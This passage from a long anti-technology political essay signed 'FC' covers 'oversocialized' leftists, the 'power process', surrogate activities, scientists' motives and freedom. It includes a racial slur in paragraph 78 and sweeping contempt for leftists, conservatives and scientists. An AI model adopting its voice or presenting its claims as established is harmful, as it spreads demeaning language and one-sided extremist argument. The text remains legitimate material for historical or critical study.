people this results in a sense of constraint and powerlessness that can be a severe hardship. We suggest that oversocialization is among the more serious cruelties that human being inflict on one another. 27. We argue that a very important and influential segment of the modern left is oversocialized and that their oversocialization is of great importance in determining the direction of modern leftism. Leftists of the oversocialized type tend to be intellectuals or members of the upper-middle class. Notice that university intellectuals [3] constitute the most highly socialized segment of our society and also the most leftwing segment. 28. The leftist of the oversocialized type tries to get off his psychological leash and assert his autonomy by rebelling. But usually he is not strong enough to rebel against the most basic values of society. Generally speaking, the goals of today's leftists are NOT in conflict with the accepted morality. On the contrary, the left takes an accepted moral principle, adopts it as its own, and then accuses mainstream society of violating that principle. Examples: racial equality, equality of the sexes, helping poor people, peace as opposed to war, nonviolence generally, freedom of expression, kindness to animals. More fundamentally, the duty of the individual to serve society and the duty of society to take care of the individual. All these have been deeply rooted values of our society (or at least of its middle and upper classes [4] for a long time. These values are explicitly or implicitly expressed or presupposed in most of the material presented to us by the mainstream communications media and the educational system. Leftists, especially those of the oversocialized type, usually do not rebel against these principles but justify their hostility to society by claiming (with some degree of truth) that society is not living up to these principles. 29. Here is an illustration of the way in which the oversocialized leftist shows his real attachment to the conventional attitudes of our society while pretending to be in rebellion aginst it. Many leftists push for affirmative action, for moving black people into high-prestige jobs, for improved education in black schools and more money for such schools; the way of life of the black "underclass" they regard as a social disgrace. They want to integrate the black man into the system, make him a business executive, a lawyer, a scientist just like upper-middle-class white people. The leftists will reply that the last thing they want is to make the black man into a copy of the white man; instead, they want to preserve African American culture. But in what does this preservation of African American culture consist? It can hardly consist in anything more than eating black-style food, listening to black-style music, wearing black-style clothing and going to a black-style church or mosque. In other words, it can express itself only in superficial matters. In all ESSENTIAL respects most leftists of the oversocialized type want to make the black man conform to white, middle-class ideals. They want to make him study technical subjects, become an executive or a scientist, spend his life climbing the status ladder to prove that black people are as good as white. They want to make black fathers "responsible," they want black gangs to become nonviolent, etc. But these are exactly the values of the industrial- technological system. The system couldn't care less what kind of music a man listens to, what kind of clothes he wears or what religion he believes in as long as he studies in school, holds a respectable job, climbs the status ladder, is a "responsible" parent, is nonviolent and so forth. In effect, however much he may deny it, the oversocialized leftist wants to integrate the black man into the system and make him adopt its values. 30. We certainly do not claim that leftists, even of the oversocialized type, NEVER rebel against the fundamental values of our society. Clearly they sometimes do. Some oversocialized leftists have gone so far as to rebel against one of modern society's most important principles by engaging in physical violence. By their own account, violence is for them a form of "liberation." In other words, by committing violence they break through the psychological restraints that have been trained into them. Because they are oversocialized these restraints have been more confining for them than for others; hence their need to break free of them. But they usually justify their rebellion in terms of mainstream values. If they engage in violence they claim to be fighting against racism or the like. 31. We realize that many objections could be raised to the foregoing thumbnail sketch of leftist psychology. The real situation is complex, and anything like a complete description of it would take several volumes even if the necessary data were available. We claim only to have indicated very roughly the two most important tendencies in the psychology of modern leftism. 32. The problems of the leftist are indicative of the problems of our society as a whole. Low self-esteem, depressive tendencies and defeatism are not restricted to the left. Though they are especially noticeable in the left, they are widespread in our society. And today's society tries to socialize us to a greater extent than any previous society. We are even told by experts how to eat, how to exercise, how to make love, how to raise our kids and so forth. THE POWER PROCESS 33. Human beings have a need (probably based in biology) for something that we will call the "power process." This is closely related to the need for power (which is widely recognized) but is not quite the same thing. The power process has four elements. The three most clear-cut of these we call goal, effort and attainment of goal. (Everyone needs to have goals whose attainment requires effort, and needs to succeed in attaining at least some of his goals.) The fourth element is more difficult to define and may not be necessary for everyone. We call it autonomy and will discuss it later (paragraphs 42-44). 34. Consider the hypothetical case of a man who can have anything he wants just by wishing for it. Such a man has power, but he will develop serious psychological problems. At first he will have a lot of fun, but by and by he will become acutely bored and demoralized. Eventually he may become clinically depressed. History shows that leisured aristocracies tend to become decadent. This is not true of fighting aristocracies that have to struggle to maintain their power. But leisured, secure aristocracies that have no need to exert themselves usually become bored, hedonistic and demoralized, even though they have power. This shows that power is not enough. One must have goals toward which to exercise one's power. 35. Everyone has goals; if nothing else, to obtain the physical necessities of life: food, water and whatever clothing and shelter are made necessary by the climate. But the leisured aristocrat obtains these things without effort. Hence his boredom and demoralization. 36. Nonattainment of important goals results in death if the goals are physical necessities, and in frustration if nonattainment of the goals is compatible with survival. Consistent failure to attain goals throughout life results in defeatism, low self-esteem or depression. 37. Thus, in order to avoid serious psychological problems, a human being needs goals whose attainment requires effort, and he must have a reasonable rate of success in attaining his goals. SURROGATE ACTIVITIES 38. But not every leisured aristocrat becomes bored and demoralized. For example, the emperor Hirohito, instead of sinking into decadent hedonism, devoted himself to marine biology, a field in which he became distinguished. When people do not have to exert themselves to satisfy their physical needs they often set up artificial goals for themselves. In many cases they then pursue these goals with the same energy and emotional involvement that they otherwise would have put into the search for physical necessities. Thus the aristocrats of the Roman Empire had their literary pretensions; many European aristocrats a few centuries ago invested tremendous time and energy in hunting, though they certainly didn't need the meat; other aristocracies have competed for status through elaborate displays of wealth; and a few aristocrats, like Hirohito, have turned to science. 39. We use the term "surrogate activity" to designate an activity that is directed toward an artificial goal that people set up for themselves merely in order to have some goal to work toward, or let us say, merely for the qake of the "fulfillment" that they get from pursuing the goal. Here is a rule of thumb for the identification of surrogate activities. Given a person who devotes much time and energy to the pursuit of goal X, ask yourself this: If he had to devote most of his time and energy to satisfying his biological needs, and if that effort required him to use his physical and mental faculties in a varied and interesting way, would he feel seriously deprived because he did not attain goal X? If the answer is no, then the person's pursuit of goal X is a surrogate activity. Hirohito's studies in marine biology clearly constituted a surrogate activity, since it is pretty certain that if Hirohito had had to spend his time working at interesting non-scientific tasks in order to obtain the necessities of life, he would not have felt deprived because he didn't know all about the anatomy and life-cycles of marine animals. On the other hand the pursuit of sex and love (for example) is not a surrogate activity, because most people, even if their existence were otherwise satisfactory, would feel deprived if they passed their lives without ever having a relationship with a member of the opposite sex. (But pursuit of an excessive amount of sex, more than one really needs, can be a surrogate activity.) 40. In modern industrial society only minimal effort is necessary to satisfy one's physical needs. It is enough to go through a training program to acquire some petty technical skill, then come to work on time and exert the very modest effort needed to hold a job. The only requirements are a moderate amount of intelligence and, most of all, simple OBEDIENCE. If one has those, society takes care of one from cradle to grave. (Yes, there is an underclass that cannot take the physical necessities for granted, but we are speaking here of mainstream society.) Thus it is not surprising that modern society is full of surrogate activities. These include scientific work, athletic achievement, humanitarian work, artistic and literary creation, climbing the corporate ladder, acquisition of money and material goods far beyond the point at which they cease to give any additional physical satisfaction, and social activism when it addresses issues that are not important for the activist personally, as in the case of white activists who work for the rights of nonwhite minorities. These are not always PURE surrogate activities, since for many people they may be motivated in part by needs other than the need to have some goal to pursue. Scientific work may be motivated in part by a drive for prestige, artistic creation by a need to express feelings, militant social activism by hostility. But for most people who pursue them, these activities are in large part surrogate activities. For example, the majority of scientists will probably agree that the "fulfillment" they get from their work is more important than the money and prestige they earn. 41. For many if not most people, surrogate activities are less satisfying than the pursuit of real goals (that is, goals that people would want to attain even if their need for the power process were already fulfilled). One indication of this is the fact that, in many or most cases, people who are deeply involved in surrogate activities are never satisfied, never at rest. Thus the money-maker constantly strives for more and more wealth. The scientist no sooner solves one problem than he moves on to the next. The long-distance runner drives himself to run always farther and faster. Many people who pursue surrogate activities will say that they get far more fulfillment from these activities than they do from the "mundane" business of satisfying their biological needs, but that is because in our society the effort needed to satisfy the biological needs has been reduced to triviality. More importantly, in our society people do not satisfy their biological needs AUTONOMOUSLY but by functioning as parts of an immense social machine. In contrast, people generally have a great deal of autonomy in pursuing their surrogate activities. AUTONOMY 42. Autonomy as a part of the power process may not be necessary for every individual. But most people need a greater or lesser degree of autonomy in working toward their goals. Their efforts must be undertaken on their own initiative and must be under their own direction and control. Yet most people do not have to exert this initiative, direction and control as single individuals. It is usually enough to act as a member of a SMALL group. Thus if half a dozen people discuss a goal among themselves and make a successful joint effort to attain that goal, their need for the power process will be served. But if they work under rigid orders handed down from above that leave them no room for autonomous decision and initiative, then their need for the power process will not be served. The same is true when decisions are made on a collective basis if the group making the collective decision is so large that the role of each individual is insignificant. [5] 43. It is true that some individuals seem to have little need for autonomy. Either their drive for power is weak or they satisfy it by identifying themselves with some powerful organization to which they belong. And then there are unthinking, animal types who seem to be satisfied with a purely physical sense of power (the good combat soldier, who gets his sense of power by developing fighting skills that he is quite content to use in blind obedience to his superiors). 44. But for most people it is through the power process having a goal, making an AUTONOMOUS effort and attaining the goal -- that self-esteem, self-confidence and a sense of power are acquired. When one does not have adequate opportunity to go through the power process the consequences are (depending on the individual and on the way the power process is disrupted) boredom, demoralization, low self-esteem, inferiority feelings, defeatism, depression, anxiety, guilt, frustration, hostility, spouse or child abuse, insatiable hedonism, abnormal sexual behavior, sleep disorders, eating disorders. etc. [6] SOURCES OF SOCIAL PROBLEMS 45. Any of the foregoing symptoms can occur in any society, but in modern industrial society they are present on a massive scale. We aren't the first to mention that the world today seems to be going crazy. This sort of thing is not normal for human societies. There is good reason to believe that primitive man suffered from less stress and frustration and was better satisfied with his way of life than modern man is. It is true that not all was sweetness and light in primitive societies. Abuse of women was common among the Australian aborigines, transexuality was fairly common among some of the American Indian tribes. But it does appear that GENERALLY SPEAKING the kinds of problems that we have listed in the preceding paragraph were far less common among primitive peoples than they are in modern society. 46. We attribute the social and psychological problems of modern society to the fact that that society requires people to live under conditions radically different from those under which the human race evolved and to behave in ways that conflict with the patterns of behavior that the human race developed while living under the earlier conditions. It is clear from what we have already written that we consider lack of opportunity to properly experience the power process as the most important of the abnormal conditions to which modern society subjects people. But it is not the only one. Before dealing with disruption of the power process as a source of social problems we will discuss some of the other sources. 47. Among the abnormal conditions present in modern industrial society are excessive density of population, isolation of man from nature, excessive rapidity of social change and the breakdown of natural small-scale communities such as the extended family, the village or the tribe. 48. It is well known that crowding increases stress and aggression. The degree of crowding that exists today and the isolation of man from nature are consequences of technological progress. All pre-industrial societies were predominantly rural. The Industrial Revolution vastly increased the size of cities and the proportion of the population that lives in them, and modern agricultural technology has made it possible for the Earth to support a far denser population than it ever did before. (Also, technology exacerbates the effects of crowding because it puts increased disruptive powers in people's hands. For example, a variety of noise-making devices: power mowers, radios, motorcycles, etc. If the use of these devices is unrestricted, people who want peace and quiet are frustrated by the noise. If their use is restricted, people who use the devices are frustrated by the regulations. But if these machines had never been invented there would have been no conflict and no frustration generated by them.) 49. For primitive societies the natural world (which usually changes only slowly) provided a stable framework and therefore a sense of security. In the modern world it is human society that dominates nature rather than the other way around, and modern society changes very rapidly owing to technological change. Thus there is no stable framework. 50. The conservatives are fools: They whine about the decay of traditional values, yet they enthusiastically support technological progress and economic growth. Apparently it never occurs to them that you can't make rapid, drastic changes in the technology and the economy of a society without causing rapid changes in all other aspects of the society as well, and that such rapid changes inevitably break down traditional values. 51. The breakdown of traditional values to some extent implies the breakdown of the bonds that hold together traditional small-scale social groups. The disintegration of small-scale social groups is also promoted by the fact that modern conditions often require or tempt individuals to move to new locations, separating themselves from their communities. Beyond that, a technological society HAS TO weaken family ties and local communities if it is to function efficiently. In modern society an individual's loyalty must be first to the system and only secondarily to a smallscale community, because if the internal loyalties of small-scale communities were stronger than loyalty to the system, such communities would pursue their own advantage at the expense of the system. 52. Suppose that a public official or a corporation executive appoints his cousin, his friend or his co-religionist to a position rather than appointing the person best qualified for the job. He has permitted personal loyalty to supersede his loyalty to the system, and that is "nepotism" or "discrimination," both of which are terrible sins in modern society. Would-be industrial societies that have done a poor job of subordinating personal or local loyalties to loyalty to the system are usually very inefficient. (Look at Latin America.) Thus an advanced industrial society can tolerate only those small-scale communities that are emasculated, tamed and made into tools of the system. [7] 53. Crowding, rapid change and the breakdown of communities have been widely recognized as sources of social problems. But we do not believe tbey are enough to account for the extent of the problems that are seen today. 54. A few pre-industrial cities were very large and crowded, yet their inhabitants do not seem to have suffered from psychological problems to the same extent as modern man. In America today there still are uncrowded rural areas, and we find there the same problems as in urban areas, though the problems tend to be less acute in the rural areas. Thus crowding does not seem to be the decisive factor. 55. On the growing edge of the American frontier during the 19th century, the mobility of the population probably broke down extended families and small-scale social groups to at least the same extent as these are broken down today. In fact, many nuclear families lived by choice in such isolation, having no neighbors within several miles, that they belonged to no community at all, yet they do not seem to have developed problems as a result. 56. Furthermore, change in American frontier society was very rapid and deep. A man might be born and raised in a log cabin, outside the reach of law and order and fed largely on wild meat; and by the time he arrived at old age he might be working at a regular job and living in an ordered community with effective law enforcement. This was a deeper change than that which typically occurs in the life of a modern individual, yet it does not seem to have led to psychological problems. In fact, 19th century American society had an optimistic and self-confident tone, quite unlike that of today's society. [8] 57. The difference, we argue, is that modern man has the sense (largely justified) that change is IMPOSED on him, whereas the 19th century frontiersman had the sense (also largely justified) that he created change himself, by his own choice. Thus a pioneer settled on a piece of land of his own choosing and made it into a farm through his own effort. In those days an entire county might have only a couple of hundred inhabitants and was a far more isolated and autonomous entity than a modern county is. Hence the pioneer farmer participated as a member of a relatively small group in the creation of a new, ordered community. One may well question whether the creation of this community was an improvement, but at any rate it satisfied the pioneer's need for the power process. 58. It would be possible to give other examples of societies in which there has been rapid change and/or lack of close community ties without the kind of massive behavioral aberration that is seen in today's industrial society. We contend that the most important cause of social and psychological problems in modern society is the fact that people have insufficient opportunity to go through the power process in a normal way. We don't mean to say that modern society is the only one in which the power process has been disrupted. Probably most if not all civilized societies have interfered with the power process to a greater or lesser extent. But in modern industrial society the problem has become particularly acute. Leftism, at least in its recent (mid- to late-20th century) form, is in part a symptom of deprivation with respect to the power process. DISRUPTION OF THE POWER PROCESS IN MODERN SOCIETY 59. We divide human drives into three groups: (1) those drives that can be satisfied with minimal effort; (2) those that can be satisfied but only at the cost of serious effort; (3) those that cannot be adequately satisfied no matter how much effort one makes. The power process is the process of satisfying the drives of the second group. The more drives there are in the third group, the more there is frustration, anger, eventually defeatism, depression, etc. 60. In modern industrial society natural human drives tend to be pushed into the first and third groups, and the second group tends to consist increasingly of artificially created drives. 61. In primitive societies, physical necessities generally fall into group 2: They can be obtained, but only at the cost of serious effort. But modern society tends to guaranty the physical necessities to everyone [9] in exchange for only minimal effort, hence physical needs are pushed into group 1. (There may be disagreement about whether the effort needed to hold a job is "minimal"; but usually, in lower- to middle-level jobs, whatever effort is required is merely that of OBEDIENCE. You sit or stand where you are told to sit or stand and do what you are told to do in the way you are told to do it. Seldom do you have to exert yourself seriously, and in any case you have hardly any autonomy in work, so that the need for the power process is not well served.) 62. Social needs, such as sex, love and status, often remain in group 2 in modern society, depending on the situation of the individual. [10] But, except for people who have a particularly strong drive for status, the effort required to fulfill the social drives is insufficient to satisfy adequately the need for the power process. 63. So certain artificial needs have been created that fall into group 2, hence serve the need for the power process. Advertising and marketing techniques have been developed that make many people feel they need things that their grandparents never desired or even dreamed of. It requires serious effort to earn enough money to satisfy these artificial needs, hence they fall into group 2. (But see paragraphs 80-82.) Modern man must satisfy his need for the power process largely through pursuit of the artificial needs created by the advertising and marketing industry [11], and through surrogate activities. 64. It seems that for many people, maybe the majority, these artificial forms of the power process are insufficient. A theme that appears repeatediy in the writings of the social critics of the second half of the 20th century is the sense of purposelessness that afflicts many people in modern society. (This purposelessness is often called by other names such as "anomic" or "middle-class vacuity.") We suggest that the so-called "identity crisis" is actually a search for a sense of purpose, often for commitment to a suitable surrogate activity. It may be that existentialism is in large part a response to the purposelessness of modern life. [12] Very widespread in modern society is the search for "fulfillment." But we think that for the majority of people an activity whose main goal is fulfillment (that is, a surrogate activity) does not bring completely satisfactory fulfillment. In other words, it does not fully satisfy the need for the power process. (See paragraph 41.) That need can be fully satisfied only through activities that have some external goal, such as physical necessities, sex, love, status, revenge, etc. 65. Moreover, where goals are pursued through earning money, climbing the status ladder or functioning as part of the system in some other way, most people are not in a position to pursue their goals AUTONOMOUSLY. Most workers are someone else's employee and, as we pointed out in paragraph 61, must spend their days doing what they are told to do in the way they are told to do it. Even people who are in business for themselves have only limited autonomy. It is a chronic complaint of small-business persons and entrepreneurs that their hands are tied by excessive government regulation. Some of these regulations are doubtless unnecessary, but for the most part government regulations are essential and inevitable parts of our extremely complex society. A large portion of small business today operates on the franchise system. It was reported in the Wall Street Journal a few years ago that many of the franchise-granting companies require applicants for franchises to take a personality test that is designed to EXCLUDE those who have creativity and initiative, because such persons are not sufficiently docile to go along obediently with the franchise system. This excludes from small business many of the people who most need autonomy. 66. Today people live more by virtue of what the system does FOR them or TO them than by virtue of what they do for themselves. And what they do for themselves is done more and more along channels laid down by the system. Opportunities tend to be those that the system provides, the opportunities must be exploited in accord with rules and regulations [13], and techniques prescribed by experts must be followed if there is to be a chance of success. 67. Thus the power process is disrupted in our society through a deficiency of real goals and a deficiency of autonomy in the pursuit of goals. But it is also disrupted because of those human drives that fall into group 3: the drives that one cannot adequately satisfy no matter how much effort one makes. One of these drives is the need for security. Our lives depend on decisions made by other people; we have no control over these decisions and usually we do not even know the people who make them. ("We live in a world in which relatively few people -- maybe 500 or 1,000 make the important decisions" -- Philip B. Heymann of Harvard Law School, quoted by Anthony Lewis, New York Times, April 21,1995.) Our lives depend on whether safety standards at a nuclear power plant are properly maintained; on how much pesticide is allowed to get into our food or how much pollution into our air; on how skillful (or incompetent) our doctor is; whether we lose or get a job may depend on decisions made by government economists or corporation executives; and so forth. Most individuals are not in a position to secure themselves against these threats to more [than] a very limited extent. The individual's search for security is therefore frustrated, which leads to a sense of powerlessness. 68. It may be objected that primitive man is physically less secure than modern man, as is shown by his shorter life expectancy; hence modern man suffers from less, not more than the amount of insecurity that is normal for human beings. But psychological security does not closely correspond with physical security. What makes us FEEL secure is not so much objective security as a sense of confidence in our ability to take care of ourselves. Primitive man, threatened by a fierce animal or by hunger, can fight in self-defense or travel in search of food. He has no certainty of success in these efforts, but he is by no means helpless against the things that threaten him. The modern individual on the other hand is threatened by many things against which he is helpless: nuclear accidents, carcinogens in food, environmental pollution, war, increasing taxes, invasion of his privacy by large organizations, nationwide social or economic phenomena that may disrupt his way of life. 69. It is true that primitive man is powerless against some of the things that threaten him; disease for example. But he can accept the risk of disease stoically. It is part of the nature of things, it is no one's fault, unless it is the fault of some imaginary, impersonal demon. But threats to the modern individual tend to be MAN-MADE. They are not the results of chance but are IMPOSED on him by other persons whose decisions he, as an individual, is unable to influence. Consequently he feels frustrated, humiliated and angry. 70. Thus primitive man for the most part has his security in his own hands (either as an individual or as a member of a SMALL group) whereas the security of modern man is in the hands of persons or organizations that are too remote or too large for him to be able personally to influence them. So modern man's drive for security tends to fall into groups 1 and 3; in some areas (food, shelter etc.) his security is assured at the cost of only trivial effort, whereas in other areas he CANNOT attain security. (The foregoing greatly simplifies the real situation, but it does indicate in a rough, general way how the condition of modern man differs from that of primitive man.) 71. People have many transitory drives or impulses that are necessarily frustrated in modern life, hence fall into group 3. One may become angry, but modern society cannot permit fighting. In many situations it does not even permit verbal aggression. When going somewhere one may be in a hurry, or one may be in a mood to travel slowly, but one generally has no choice but to move with the flow of traffic and obey the traffic signals. One may want to do one's work in a different way, but usually one can work only according to the rules laid down by one's employer. In many other ways as well, modern man is strapped down by a network of rules and regulations (explicit or implicit) that frustrate many of his impulses and thus interfere with the power process. Most of these regulations cannot be dispensed with, because they are necessary for the functioning of industrial society. 72. Modern society is in certain respects extremely permissive. In matters that are irrelevant to the functioning of the system we can generally do what we please. We can believe in any religion (as long as it does not encourage behavior that is dangerous to the system). We can go to bed with anyone we like (as long as we practice "safe sex"). We can do anything we like as long as it is UNIMPORTANT. But in all IMPORTANT matters the system tends increasingly to regulate our behavior. 73. Behavior is regulated not only through explicit rules and not only by the government. Control is often exercised through indirect coercion or through psychological pressure or manipulation, and by organizations other than the government, or by the system as a whole. Most large organizations use some form of propaganda [14] to manipulate public attitudes or behavior. Propaganda is not limited to "commercials" and advertisements, and sometimes it is not even consciously intended as propaganda by the people who make it. For instance, the content of entertainment programming is a powerful form of propaganda. An example of indirect coercion: There is no law that says we have to go to work every day and follow our employer's orders. Legally there is nothing to prevent us from going to live in the wild like primitive people or from going into business for ourselves. But in practice there is very little wild country left, and there is room in the economy for only a limited number of small business owners. Hence most of us can survive only as someone else's employee. 74. We suggest that modern man's obsession with longevity, and with maintaining physical vigor and sexual attractiveness to an advanced age, is a symptom of unfulfillment resulting from deprivation with respect to the power process. The "mid-lffe crisis" also is such a symptom. So is the lack of interest in having children that is fairly common in modern society but almost unheard-of in primitive societies. 75. In primitive societies life is a succession of stages. The needs and purposes of one stage having been fulfilled, there is no particular reluctance about passing on to the next stage. A young man goes through the power process by becoming a hunter, hunting not for sport or for fulfillment but to get meat that is necessary for food. (In young women the process is more complex, with greater emphasis on social power; we won't discuss that here.) This phase having been successfully passed through, the young man has no reluctance about settling down to the responsibilities of raising a family. (In contrast, some modern people indefinitely postpone having children because they are too busy seeking some kind of "fulfillment." We suggest that the fulfillment they need is adequate experience of the power process -- with real goals instead of the artificial goals of surrogate activities.) Again, having successfully raised his children, going through the power process by providing them with the physical necessities, the primitive man feels that his work is done and he is prepared to accept old age (if he survives that long) and death. any modern people, on the other hand, are disturbed by the prospect of physical deterioration and death, as is shown by the amount of effort they expend trying to maintain their physical condition, appearance and health. We argue that this is due to unfulfillment resulting from the fact that they have never put their physical powers to any practical use, have never gone through the power process using their bodies in a serious way. It is not the primitive man, who has used his body daily for practical purposes, who fears the deterioration of age, but the modern man, who has never had a practical use for his body beyond walking from his car to his house. It is the man whose need for the power process has been satisfied during his life who is best prepared to accept the end of that life. 76. In response to the arguments of this section someone will say, "Society must find a way to give people the opportunity to go through the power process." For such people the value of the opportunity is destroyed by the very fact that society gives it to them. What they need is to find or make their own opportunities. As long as the system GIVES them their opportunities it still has them on a leash. To attain autonomy they must get off that leash. HOW SOME PEOPLE ADJUST 77. Not everyone in industrial-technological society suffers from psychological problems. Some people even profess to be quite satisfied with society as it is. We now discuss some of the reasons why people differ so greatly in their response to modern society. 78. First, there doubtless are differences in the strength of the drive for power. Individuals with a weak drive for power may have relatively little need to go through the power process, or at least relatively little need for autonomy in the power process. These are docile types who would have been happy as plantation darkies in the Old South. (We don't mean to sneer at the "plantation darkies" of the Old South. To their credit, most of the slaves were NOT content with their servitude. We do sneer at people who ARE content with servitude.) 79. Some people may have some exceptional drive, in pursuing which they satisfy their need for the power process. For example, those who have an unusually strong drive for social status may spend their whole lives climbing the status ladder without ever getting bored with that game. 80. People vary in their susceptibility to advertising and marketing techniques. Some are so susceptible that, even if they make a great deal of money, they cannot satisfy their constant craving for the the shiny new toys that the marketing industry dangles before their eyes. So they always feel hard-pressed financially even if their income is large, and their cravings are frustrated. 81. Some people have low susceptibility to advertising and marketing techniques. These are the people who aren't interested in money. Material acquisition does not serve their need for the power process. 82. People who have medium susceptibility to advertising and marketing techniques are able to earn enough money to satisfy their craving for goods and services, but only at the cost of serious effort (putting in overtime, taking a second job, earning promotions, etc.). Thus material acquisition serves their need for the power process. But it does not necessarily follow that their need is fully satisfied. They may have insufficient autonomy in the power process (their work may consist of following orders) and some of their drives may be frustrated (e.g., security, aggression). (We are guilty of oversimplification in paragraphs 80-82 because we have assumed that the desire for material acquisition is entirely a creation of the advertising and marketing industry. Of course it's not that simple. [11] 83. Some people partly satisfy their need for power by identifying themselves with a powerful organization or mass movement. An individual lacking goals or power joins a movement or an organization, adopts its goals as his own, then works toward those goals. When some of the goals are attained, the individual, even though his personal efforts have played only an insignificant part in the attainment of the goals, feels (through his identification with the movement or organization) as if he had gone through the power process. This phenomenon was exploited by the fascists, nazis and communists. Our society uses it too, though less crudely. Example: Manuel Noriega was an irritant to the U.S. (goal: punish Noriega). The U.S. invaded Panama (effort) and punished Noriega (attainment of goal). Thus the U.S. went through the power process and many Americans, because of their identification with the U.S., experienced the power process vicariously. Hence the widespread public approval of the Panama invasion; it gave people a sense of power. [15] We see the same phenomenon in armies, corporations, political parties, humanitarian organizations, religious or ideological movements. In particular, leftist movements tend to attract people who are seeking to satisfy their need for power. But for most people identification with a large organization or a mass movement does not fully satisfy the need for power. 84. Another way in which people satisfy their need for the power process is through surrogate activities. As we explained in paragraphs 38-40, a surrogate activity is an activity that is directed toward an artificial goal that the individual pursues for the sake of the "fulfillment" that he gets from pursuing the goal, not because he needs to attain the goal itself. For instance, there is no practical motive for building enormous muscles, hitting a little ball into a hole or acquiring a complete series of postage stamps. Yet many people in our society devote themselves with passion to bodybuilding, golf or stamp-collecting. Some people are more "other-directed" than others, and therefore will more readily attach importance to a surrogate activity simply because the people around them treat it as important or because society tells them it is important. That is why some people get very serious about essentially trivial activities such as sports, or bridge, or chess, or arcane scholarly pursuits, whereas others who are more clear-sighted never see these things as anything but the surrogate activities that they are, and consequently never attach enough importance to them to satisfy their need for the power process in that way. It only remains to point out that in many cases a person's way of earning a living is also a surrogate activity. Not a PURE surrogate activity, since part of the motive for the activity is to gain the physical necessities and (for some people) social status and the luxuries that advertising makes them want. But many people put into their work far more effort than is necessary to earn whatever money and status they require, and this extra effort constitutes a surrogate activity. This extra effort, together with the emotional investment that accompanies it, is one of the most potent forces acting toward the continual development and perfecting of the system, with negative consequences for individual freedom (see paragraph 131). Especially, for the most creative scientists and engineers, work tends to be largely a surrogate activity. This point is so important that it deserves a separate discussion, which we shall give in a moment (paragraphs 87-92). 85. In this section we have explained how many people in modern society do satisfy their need for the power process to a greater or lesser extent. But we think that for the majority of people the need for the power process is not fully satisfied. In the first place, those who have an insatiable drive for status, or who get firmly "hooked" on a surrogate activity, or who identify strongly enough with a movement or organization to satisfy their need for power in that way, are exceptional personalities. Others are not fully satisfied with surrogate activities or by identification with an organization (see paragraphs 41, 64). In the second place, too much control is imposed by the system through explicit regulation or through socialization, which results in a deficiency of autonomy, and in frustration due to the impossibility of attaining certain goals and the necessity of restraining too many impulses. 86. But even if most people in industrial-technological society were well satisfied, we (FC) would still be opposed to that form of society, because (among other reasons) we consider it demeaning to fulfill one's need for the power process through surrogate activities or through identification with an organization, rather than through pursuit of real goals. THE MOTIVES OF SCIENTISTS 87. Science and technology provide the most important examples of surrogate activities. Some scientists claim that they are motivated by "curiosity" or by a desire to "benefit humanity." But it is easy to see that neither of these can be the principal motive of most scientists. As for "curiosity," that notion is simply absurd. Most scientists work on highly specialized problems that are not the object of any normal curiosity. For example, is an astronomer, a mathematician or an entomologist curious about the properties of isopropyltrimethylmethane? Of course not. Only a chemist is curious about such a thing, and he is curious about it only because chemistry is his surrogate activity. Is the chemist curious about the appropriate classification of a new species of beetle? No. That question is of interest only to the entomologist, and he is interested in it only because entomology is his surrogate activity. If the chemist and the entomologist had to exert themselves seriously to obtain the physical necessities, and if that effort exercised their abilities in an interesting way but in some nonscientific pursuit, then they wouldn't give a damn about isopropyltrimethylmethane or the classification of beetles. Suppose that lack of funds for postgraduate education had led the chemist to become an insurance broker instead of a chemist. In that case he would have been very interested in insurance matters but would have cared nothing about isopropyltrimethylmethane. In any case it is not normal to put into the satisfaction of mere curiosity the amount of time and effort that scientists put into their work. The "curiosity" explanation for the scientists' motive just doesn't stand up. 88. The "benefit of humanity" explanation doesn't work any better. Some scientific work has no conceivable relation to the welfare of the human race most of archaeology or comparative linguistics for example. Some other areas of science present obviously dangerous possibilities. Yet scientists in these areas are just as enthusiastic about their work as those who develop vaccines or study air pollution. Consider the case of Dr. Edward Teller, who had an obvious emotional involvement in promoting nuclear power plants. Did this involvement stem from a desire to benefit humanity? If so, then why didn't Dr. Teller get emotional about other "humanitarian" causes? If he was such a humanitarian then why did he help to develop the H-bomb? As with many other scientific achievements, it is very much open to question whether nuclear power plants actually do benefit humanity. Does the cheap electricity outweigh the accumulating waste and the risk of accidents? Dr. Teller saw only one side of the question. Clearly his emotional involvement with nuclear power arose not from a desire to "benefit humanity" but from a personal fulfillment he got from his work and from seeing it put to practical use. 89. The same is true of scientists generally. With possible rare exceptions, their motive is neither curiosity nor a desire to benefit humanity but the need to go through the power process: to have a goal (a scientific problem to solve), to make an effort (research) and to attain the goal (solution of the problem.) Science is a surrogate activity because scientists work mainly for the fulfillment they get out of the work itself. 90. Of course, it's not that simple. Other motives do play a role for many scientists. Money and status for example. Some scientists may be persons of the type who have an insatiable drive for status (see paragraph 79) and this may provide much of the motivation for their work. No doubt the majority of scientists, like the majority of the general population, are more or less susceptible to advertising and marketing techniques and need money to satisfy their craving for goods and services. Thus science is not a PURE surrogate activity. But it is in large part a surrogate activity. 91. Also, science and technology constitute a power mass movement, and many scientists gratify their need for power through identification with this mass movement (see paragraph 83). 92. Thus science marches on blindly, without regard to the real welfare of the human race or to any other standard, obedient only to the psychological needs of the scientists and of the government of ficials and corporation executives who provide the funds for research. THE NATURE OF FREEDOM 93. We are going to argue that industrial-technological society cannot be reformed in such a way as to prevent it from progressively narrowing the sphere of human freedom. But, because "freedom" is a word that can be interpreted in many ways, we must first make clear what kind of freedom we are concerned with. 94. By "freedom" we mean the opportunity to go through the power process, with real goals not the artificial goals of surrogate activities, and without interference, manipulation or supervision from anyone, especially from any large organization. Freedom means being in control (either as an individual or as a member of a SMALL group) of the life-and-death issues of one's existence; food, clothing, shelter and defense against whatever threats there may be in one's environment. Freedom means having power; not the power to control other people but the power to control the circumstances of one's own life. One does not have freedom if anyone else (especially a large organization) has power over one, no matter how benevolently, tolerantly and permissively that power may be exercised. It is important not to confuse freedom with mere permissiveness (see paragraph 72). 95. It is said that we live in a free society because we have a certain number of constitutionally guaranteed rights. But these are not as important as they seem. The degree of personal freedom that exists in a society is determined more by the economic and technological structure of the society than by its laws or its form of government. [16] Most of the Indian nations of New England were monarchies, and many of the cities of the Italian Renaissance were controlled by dictators. But in reading about these societies one gets the impression that they allowed far more personal freedom than our society does. In part this was because they lacked efficient mechanisms for enforcing the ruler's will: There were no modern, well-organized police forces, no rapid long-distance communications, no surveillance cameras, no dossiers of information about the lives of average citizens. Hence it was relatively easy to evade control. 96. As for our constitutional rights, consider for example that of freedom of the press. We certainly don't mean to knock that right; it is very important tool for limiting concentration of political power and for keeping those who do have political power in line by publicly exposing any misbehavior on their part. But 